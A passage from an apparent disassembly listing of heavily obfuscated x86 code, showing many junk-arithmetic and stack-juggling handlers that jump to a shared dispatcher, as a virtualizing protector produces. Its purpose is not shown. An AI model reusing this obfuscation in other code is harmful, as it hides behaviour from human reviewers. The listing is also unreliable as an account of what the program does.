					; sub_59587A-4B15j
		pop	eax
		add	edi, ebp
		jmp	loc_58F706
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_58F168:				; CODE XREF: sdfs____:00598A6Bj
		or	ebp, 7B364A86h
		jmp	loc_591B8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58F173:				; CODE XREF: sub_591435-3F2Bj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+10h+var_10]
		xor	[esp+10h+var_10], edx
		xor	edx, [esp+10h+var_10]
		pop	esp
		jmp	loc_591B52
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58F190:				; CODE XREF: sdfs____:005916E3j
		not	esi
		sub	esi, 0B4C39AD8h
		sub	eax, esi
		pop	esi
		sub	eax, ebp
		add	eax, 79CD579Ch
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 0AE64377h
		jmp	loc_597129
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_58F1B5:				; CODE XREF: sub_5985AE-419Ej
		add	eax, 3A127CDCh
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		shl	eax, cl
		push	5A84h
		jmp	loc_591723
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58F1CF:				; CODE XREF: sub_591435+30D9j
		sub	ecx, 237813C1h
		push	edx
		push	edi
		mov	edi, 543D5A10h
		mov	edx, 0C2550A80h
		sub	edx, edi
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_58FA91
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58F1EE:				; CODE XREF: sdfs____:0058DF87j
		add	ebx, ebp
		pop	ebp
		add	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_58E592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58F1FC:				; CODE XREF: sub_594228-6D9Fj
		push	1B41h
		mov	[esp+0], ebp
		push	edx
		push	esi
		push	288C2884h
		pop	esi
		add	esi, 3FE85442h
		jmp	loc_592AFB
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58F217:				; CODE XREF: sub_5987BC-A565j
		pop	esi
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	sub_592BDC
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_58F223:				; CODE XREF: sdfs____:00593895j
		mov	esp, [esp]
		mov	eax, [esp]
		push	7D86h
		jmp	loc_593FCC
; ---------------------------------------------------------------------------


loc_58F233:				; CODE XREF: sdfs____:00593C90j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, esp
		push	7D8Fh
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_58DFF2
; ---------------------------------------------------------------------------


loc_58F25C:				; CODE XREF: sdfs____:0058F4C8j
		push	ebx
		mov	bh, 9
		jmp	loc_59754A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58F264:				; CODE XREF: sub_591435+27DCj
		pop	ebx
		mov	ecx, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_58E1EA
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58F270:				; CODE XREF: sdfs____:0058D895j
		sub	edi, esi
		pop	esi
		jmp	loc_593D6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58F278:				; CODE XREF: sub_5917C0+2807j
		add	ecx, 4
		push	ebx
		mov	ebx, 0DBD01D5h
		jmp	loc_58F2A7
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58F289:				; CODE XREF: sdfs____:0058C470j
		mov	edx, 74BC6FCCh
		add	edx, 8B439038h
		add	ecx, 6BE618EEh
		add	ecx, 33E869A6h
		add	ecx, edx
		jmp	loc_58CF36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58F2A7:				; CODE XREF: sub_5917C0-253Cj
		dec	ebx
		push	3316h
		mov	[esp+8+var_8], ebx
		not	[esp+8+var_8]
		pop	ebx
		push	edx
		mov	edx, 38A651B0h
		sub	ebx, edx
		pop	edx
		sub	ebx, 0B99CAC79h
		add	ecx, 7AE0398Ah
		sub	ecx, ebx
		jmp	loc_596F6A
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58F2D0:				; CODE XREF: sdfs____:0058EFAEj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_591581
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_58F2E6:				; CODE XREF: sub_58CDE6+555Bj
		xchg	eax, [esp-8+arg_4]
		jmp	loc_5904DA
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------


loc_58F2EE:				; CODE XREF: sdfs____:00593E54j
		push	edi
		mov	edi, 187B14BBh
		dec	edi
		add	edi, 2C545C80h
		and	edi, 7BB4E74h
		jmp	loc_58D6D2
; ---------------------------------------------------------------------------


loc_58F306:				; CODE XREF: sdfs____:0058DADCj
		mov	esp, [esp]
		jmp	loc_590E7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58F30E:				; CODE XREF: sub_594228-7C7Cj
					; sdfs____:0059072Bj
		push	edx
		mov	edx, 232017D8h
		push	ebx
		mov	ebx, 0
		push	edi
		mov	edi, 298E010Fh
		sub	edi, 1825D093h
		jmp	loc_590EB5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58F32B:				; CODE XREF: sdfs____:00590ACCj
		push	eax
		mov	eax, esp
		jmp	loc_594F76
; ---------------------------------------------------------------------------


loc_58F333:				; CODE XREF: sdfs____:005921C5j
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 48970909h
		push	ecx
		jmp	loc_58C9DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58F345:				; CODE XREF: sub_594228-7EBAj
		mov	ecx, 449B5FC6h
		push	edx
		mov	edx, 1D5D6642h
		xor	ecx, edx
		pop	edx
		add	esi, ecx
		pop	ecx
		sub	esi, 2D870FDDh
		jmp	loc_598BAB
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58F361:				; CODE XREF: sdfs____:0058CA75j
		mov	[esp], ebp
		mov	ebp, 52D318F5h
		mov	ecx, 681A1863h
		xor	ecx, ebp
		pop	ebp
		add	ecx, 257D518Bh
		jmp	loc_597BD1
; ---------------------------------------------------------------------------


loc_58F37C:				; CODE XREF: sdfs____:0059735Dj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3D6305FCh
		sub	edx, 176C2116h
		sub	edx, ebx
		add	edx, 176C2116h
		mov	ebx, [esp]
		add	esp, 4
		shl	edx, 3
		or	edx, 67FD5528h
		jmp	loc_591F09
; ---------------------------------------------------------------------------


loc_58F3AF:				; CODE XREF: sdfs____:0058FA6Aj
		push	5279h
		mov	[esp], ebx
		push	eax
		mov	al, 0E7h
		or	al, 0Eh
		jmp	loc_59048A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58F3C1:				; CODE XREF: sub_59841F-C929j
		add	eax, 4
		xor	eax, [esp+4+var_4]
		jmp	loc_593381
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_58F3CC:				; CODE XREF: sdfs____:0058EF4Cj
		push	0AD6h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58F3DB:				; CODE XREF: sdfs____:0058D964j
		or	[esp], eax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58F3E4:				; CODE XREF: sdfs____:0058DEA3j
		mov	dl, 9Ch
		not	dl
		jmp	loc_590930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58F3ED:				; CODE XREF: sub_591435+360Bj
		push	ecx
		sub	esp, 4
		mov	[esp+12h+var_14+2], esi
		mov	esi, 1C57316Eh
		dec	esi
		xor	esi, 29B02E1Ah
		jl	loc_58D625
		or	esi, 1BB73311h
		jmp	loc_594CCC
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58F414:				; CODE XREF: sdfs____:0058ED28j
					; sdfs____:00592104j
		dec	ecx
		jmp	loc_5923A8
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		push	ecx
		jmp	loc_58BAFB
; ---------------------------------------------------------------------------


loc_58F435:				; CODE XREF: sdfs____:00590084j
		pop	ecx
		not	ecx
		xchg	ecx, esi
		xor	esi, 0CA2D687Bh
		push	edx
		mov	edx, 18C30825h
		jmp	loc_58C2BB
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 106073F9h
		shr	ecx, 8
		push	ecx
		push	ebp
		jmp	loc_5916C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58F461:				; CODE XREF: sub_591435+407Aj
		dec	edi
		shr	edi, 8
		push	ebp
		mov	ebp, 72243488h
		sub	edi, ebp
		pop	ebp
		jmp	loc_598377
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58F473:				; CODE XREF: sub_594228-884j
		mov	edi, 4AD11602h
		sub	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, 0
		jmp	loc_597C7D
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591AD9


loc_58F486:				; CODE XREF: sub_591AD9-347Bj
		pop	ebp
		jmp	loc_592EF8
; END OF FUNCTION CHUNK	FOR sub_591AD9
; ---------------------------------------------------------------------------


loc_58F48C:				; CODE XREF: sdfs____:00592495j
		add	esp, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		add	edi, 4
		jmp	loc_58BEE8
; ---------------------------------------------------------------------------


loc_58F4A6:				; CODE XREF: sdfs____:0058E66Cj
		add	ebp, 427711B7h
		jmp	loc_58CEC4
; ---------------------------------------------------------------------------


loc_58F4B1:				; CODE XREF: sdfs____:0058C16Ej
		mov	[esp], edx
		mov	dl, 0A2h
		sub	esp, 2
		mov	[esp], dx
		not	byte ptr [esp]
		pop	dx
		add	dl, 8Bh
		ja	loc_58F25C
		push	ebx
		mov	bh, 9
		jmp	loc_5906C3
; ---------------------------------------------------------------------------
		pop	ebx
		mov	ecx, [esp]
		pop	eax


loc_58F4DB:				; CODE XREF: sdfs____:00598D09j
		add	ebp, 0C505C003h
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		idiv	cl
		movzx	cx, ah
		push	small 0CBEh
		mov	[esp], cx
		jmp	loc_598DD2
; ---------------------------------------------------------------------------


loc_58F503:				; CODE XREF: sdfs____:0058DE9Cj
		sub	bh, ch
		pop	ecx
		push	eax
		mov	al, 4Bh
		add	al, 2Fh
		inc	al
		jmp	loc_58BA10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_58F512:				; CODE XREF: sub_5BB696-2E045j
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_58F517:				; CODE XREF: sub_598A21-1FECj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		shr	eax, 0Ah
		jmp	loc_591713
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5920A6


loc_58F52D:				; CODE XREF: sub_5920A6+42CAj
		xor	edx, ebx
		jmp	loc_5975DE
; END OF FUNCTION CHUNK	FOR sub_5920A6
; ---------------------------------------------------------------------------


loc_58F534:				; CODE XREF: sdfs____:005976E8j
		sub	al, bl
		jmp	loc_59692A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58F53B:				; CODE XREF: sub_591435-4B5Aj
		pop	[esp+0Eh+var_10+2]
		pop	esp
		mov	fs:[edx], al
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58F547:				; CODE XREF: sdfs____:005923ABj
		or	ecx, 0F6F29BCh
		add	ecx, 0A39F69C6h
		jmp	loc_58DCD3
; ---------------------------------------------------------------------------


loc_58F558:				; CODE XREF: sdfs____:0058F0A6j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_591DB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58F573:				; CODE XREF: sub_5917C0+3j
		mov	edi, ebp
		jmp	loc_596AD7
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58F57A:				; CODE XREF: sdfs____:00590DE3j
		dec	ebx
		jle	loc_595364
		shl	ebx, 3
		not	ebx
		shr	ebx, 6
		sub	esp, 4
		mov	[esp], edi
		push	esi
		mov	esi, 6A963467h
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58DF5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58F5A8:				; CODE XREF: sub_591435-59AEj
		add	esp, 4
		mov	dx, word ptr [esp-4+arg_0]
		sub	esp, 4
		jmp	loc_5938E9
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58F5BA:				; CODE XREF: sdfs____:0058BF32j
		sub	eax, edx
		push	ebx
		mov	ebx, 43684258h
		neg	ebx
		push	10FDh
		mov	[esp], eax
		mov	eax, 734A74F9h
		add	ebx, eax
		jmp	loc_5979B0
; ---------------------------------------------------------------------------


loc_58F5D8:				; CODE XREF: sdfs____:0058BB9Aj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_592355
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	2B5Ah
		mov	[esp], edi
		mov	edi, 2
		add	ebx, edi
		mov	edi, [esp]
		push	edi
		jmp	loc_58D817
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58F60C:				; CODE XREF: sub_59841F+240j
		mov	ecx, 4
		jmp	loc_596346
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_58F616:				; CODE XREF: sdfs____:005930CAj
		pop	edi
		push	353Ch
		jmp	loc_59781D
; ---------------------------------------------------------------------------


loc_58F621:				; CODE XREF: sdfs____:0059575Ej
		add	edx, ebx
		jmp	loc_593745
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58F628:				; CODE XREF: sub_5962EB-31D7j
		pop	eax
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp-8+arg_4], edi
		jmp	loc_598B88
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58F637:				; CODE XREF: sub_594228-D80j
		push	[esp-6+arg_0+2]
		pop	ecx
		jmp	loc_58C595
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59377D


loc_58F640:				; CODE XREF: sub_59377D-D1Ej
		xor	edx, esi
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_5928F6
; END OF FUNCTION CHUNK	FOR sub_59377D
; ---------------------------------------------------------------------------


loc_58F64A:				; CODE XREF: sdfs____:0059136Bj
		mov	[esp], esi
		mov	esi, 3B8038A4h
		sub	esi, 3B8038A0h
		jmp	loc_58EE5E
; ---------------------------------------------------------------------------


loc_58F65D:				; CODE XREF: sdfs____:0058CE09j
		pop	edx
		jmp	loc_58C549
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58F663:				; CODE XREF: sub_591435+59F2j
		jmp	loc_58F96D
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58F668:				; CODE XREF: sub_5917C0-115Aj
		pop	esp
		xor	esi, 2A3D4D2Ch
		and	eax, esi
		pop	esi
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		not	ecx
		push	2E81h
		mov	[esp+4+var_4], eax
		jmp	loc_590C07
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58F68C:				; CODE XREF: sdfs____:00597FC9j
		add	edx, 4
		push	64F3h
		jmp	loc_5916A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58F699:				; CODE XREF: sub_594228+F8Dj
		pop	esi
		not	esi
		add	esi, 2A5BC7A2h
		and	esi, 58C94159h
		jmp	loc_58E35A
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58F6AD:				; CODE XREF: sub_5962EB-67ABj
					; sub_59214E+E7j
		add	[esp-8+arg_4], 78D35A3Dh
		mov	ecx, [esp-8+arg_4]
		jmp	loc_591207
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58F6BC:				; CODE XREF: sub_591435-5A17j
		mov	ecx, esp
		push	edi
		mov	edi, 49DA418Eh
		inc	edi
		sub	edi, 49DA418Bh
		add	ecx, edi
		pop	edi
		jmp	loc_594D40
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58F6D3:				; CODE XREF: sdfs____:00596D61j
		jnp	loc_58BC23
		sub	edx, 59AF5353h
		jns	loc_596299


loc_58F6E5:				; CODE XREF: sdfs____:0058EE72j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_595E94
; ---------------------------------------------------------------------------


loc_58F6F0:				; CODE XREF: sdfs____:00592BF6j
					; sdfs____:0059655Dj
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58F6F5:				; CODE XREF: sub_591370+3516j
		sub	al, 73h
		pop	ecx
		push	ecx
		jmp	sub_595F04
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58F6FE:				; CODE XREF: sdfs____:0058DC0Fj
		add	esp, 4
		jmp	loc_58FD55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_58F706:				; CODE XREF: sub_59587A-6717j
		pop	ebp
		push	eax
		mov	eax, edi
		push	eax
		pop	ebp
		pop	eax
		mov	edi, [esp-0Ah+arg_4+2]
		jmp	loc_590E70
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_58F715:				; CODE XREF: sdfs____:00595D46j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		jmp	loc_58DBD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59666E


loc_58F728:				; CODE XREF: sub_59666E+5j
		pop	ebp
		add	esp, 4
		add	ebp, 4
		push	esi
		mov	esi, 2
		push	ebx
		mov	ebx, 5FBA44B1h
		sub	ebp, ebx
		pop	ebx
		jmp	loc_58D3D7
; END OF FUNCTION CHUNK	FOR sub_59666E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_58F749:				; CODE XREF: sdfs____:00595E75j
					; sub_59576E+126Aj
		push	dx
		not	word ptr [esp+4+var_6+2]
		inc	word ptr [esp+4+var_6+2]
		mov	dx, word ptr [esp+4+var_6+2]
		add	esp, 2
		jmp	loc_590688
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58F75F:				; CODE XREF: sub_591435+70B3j
		pop	esp
		add	esp, 4
		jmp	loc_595AE2
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58F768:				; CODE XREF: sdfs____:0058CBFBj
		sub	eax, 28E6028h
		sub	eax, ebx
		push	ecx
		mov	ecx, 28E6028h
		jmp	loc_58DCF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58F77A:				; CODE XREF: sub_594228+1D24j
		xor	esi, 3E19768Ch
		jmp	loc_591879
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 13F230C3h
		xor	ebp, 41DC00EFh
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		shl	ebp, 4
		and	ebp, 26DD5BBAh
		jmp	loc_5976D2
; ---------------------------------------------------------------------------


loc_58F7B6:				; CODE XREF: sdfs____:005964CFj
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 2
		jmp	loc_59535C
; ---------------------------------------------------------------------------


loc_58F7C7:				; CODE XREF: sdfs____:00597280j
		mov	ecx, esp
		jmp	loc_590FA7
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_58EF75
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58BBBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596F8A


loc_58F7DF:				; CODE XREF: sub_596F8A-8E98j
		add	edi, 4
		jmp	loc_58CC3A
; END OF FUNCTION CHUNK	FOR sub_596F8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58F7EA:				; CODE XREF: sub_5987BC-6C9Bj
		add	bl, ah
		jmp	loc_598CB3
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_58F7F1:				; CODE XREF: sdfs____:0059248Bj
		push	ecx
		mov	ecx, 0DAF76AEh
		add	esi, ecx
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		push	2252h
		mov	[esp], edx
		push	esi
		push	esi
		mov	esi, 47844CB0h
		sub	dword ptr [esp+4], 2F2B5010h
		sub	[esp+4], esi
		add	dword ptr [esp+4], 2F2B5010h
		jmp	loc_58CEFC
; ---------------------------------------------------------------------------


loc_58F829:				; CODE XREF: sdfs____:00597A22j
		sub	bl, al
		pop	eax
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_58DD42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58F838:				; CODE XREF: sub_594228:loc_592AFBj
		add	esi, 0A17C92E8h
		mov	edx, esi
		jmp	loc_591F0F
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58F845:				; CODE XREF: sub_591435-A0Ej
		sub	ecx, 3BAC6FB4h
		sub	ecx, 6B9C5908h
		sub	esp, 4
		mov	[esp+8+var_8], eax
		jmp	loc_58BEF0
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58F85C:				; CODE XREF: sdfs____:00594B18j
		dec	esi
		jmp	loc_58F08D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DB37


loc_58F862:				; CODE XREF: sub_58DB37+35C0j
		add	edi, ecx
		pop	ecx
		sub	esi, edi
		pop	edi
		jmp	loc_58DC2A
; END OF FUNCTION CHUNK	FOR sub_58DB37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D925


loc_58F86D:				; CODE XREF: sub_58D925+Bj
		pop	ecx
		push	edi
		push	[esp+arg_0]
		pop	edi
		pop	dword ptr [esp+0]
		pop	esp
		push	dword ptr [eax]
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_58D925
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58F87F:				; CODE XREF: sub_5941BD+2264j
		shr	ebx, 7
		js	loc_597A32
		shl	ebx, 4
		shr	ebx, 1
		sub	ebx, 0A7CE0381h
		push	edx
		push	ebp
		mov	ebp, 50AA4EA5h
		mov	edx, ebp
		pop	ebp
		or	ebx, edx
		mov	edx, [esp+8+var_8]
		jmp	loc_5929C1
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_598D6A
; ---------------------------------------------------------------------------


loc_58F8AF:				; CODE XREF: sdfs____:00591B4Dj
		add	eax, esi
		pop	esi
		sub	eax, 3DF372D9h
		jmp	loc_593DA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58F8BC:				; CODE XREF: sub_5917C0+505j
		sub	bl, 0A5h
		sub	bl, cl
		add	bl, 0A5h
		pop	ecx
		push	edx
		jmp	loc_5956D1
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	371Fh
		mov	[esp], edi
		jmp	loc_593F33
; ---------------------------------------------------------------------------


loc_58F8DC:				; CODE XREF: sdfs____:00595ED0j
		shr	ecx, 4
		jmp	loc_591786
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_58F8E4:				; CODE XREF: sub_5985AE-169Dj
		sub	eax, ecx
		pop	ecx
		sub	eax, 715936A8h
		jmp	loc_59271E
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58F8F1:				; CODE XREF: sub_594228-475Bj
		xchg	ecx, [esp-0Ah+arg_6]
		mov	esp, [esp-0Ah+arg_6]
		xchg	ebp, [esp-0Ah+arg_6]
		mov	esp, [esp-0Ah+arg_6]
		and	byte ptr [esp-0Ah+arg_6], al
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_58F906:				; CODE XREF: sub_5BB696-2614Bj
		xchg	eax, edi
		push	eax
		mov	eax, 4D392E31h
		xor	edi, eax
		mov	eax, [esp+1Eh+var_20+2]
		add	esp, 4
		xor	ebx, edi
		pop	edi


loc_58F918:				; CODE XREF: sdfs____:00590B50j
		push	eax
		push	[esp+1Ah+var_1C+2]
		push	[esp+1Eh+var_20+2]
		mov	eax, [esp+22h+var_24+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+22h+var_24+2], ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	edi
		mov	edi, 4
		add	ebp, 1CF44CD8h
		add	ebp, edi
		sub	ebp, 1CF44CD8h
		pop	edi
		xchg	ebp, [esp+22h+var_24+2]
		pop	esp
		add	esp, 4
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58F960:				; CODE XREF: sub_5962EB-3DCDj
		add	ebx, edi
		jmp	loc_590A52
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F18


loc_58F967:				; CODE XREF: sub_594F18-4683j
		pop	esp
		jmp	loc_59533D
; END OF FUNCTION CHUNK	FOR sub_594F18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58F96D:				; CODE XREF: sub_591435:loc_58F663j
		add	ebx, 0FFFFFFFFh
		push	edi
		jmp	loc_59832E
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58F976:				; CODE XREF: sdfs____:005920CFj
		xor	edx, 720E5BC8h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58C28C
; ---------------------------------------------------------------------------


loc_58F98C:				; CODE XREF: sdfs____:0058E8E7j
		mov	edx, 900022Bh
		push	esi
		jmp	loc_58C65F
; ---------------------------------------------------------------------------


loc_58F997:				; CODE XREF: sdfs____:005945AEj
		push	edx
		mov	edx, 6A9476DEh
		jmp	loc_594816
; ---------------------------------------------------------------------------


loc_58F9A2:				; CODE XREF: sdfs____:005953C7j
		add	edx, 896EE191h
		jmp	loc_598AAA
; ---------------------------------------------------------------------------


loc_58F9AD:				; CODE XREF: sdfs____:00590E50j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_59429B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58F9BB:				; CODE XREF: sub_594228-6003j
		shr	ebx, 4
		jmp	loc_596C6B
; END OF FUNCTION CHUNK	FOR sub_594228
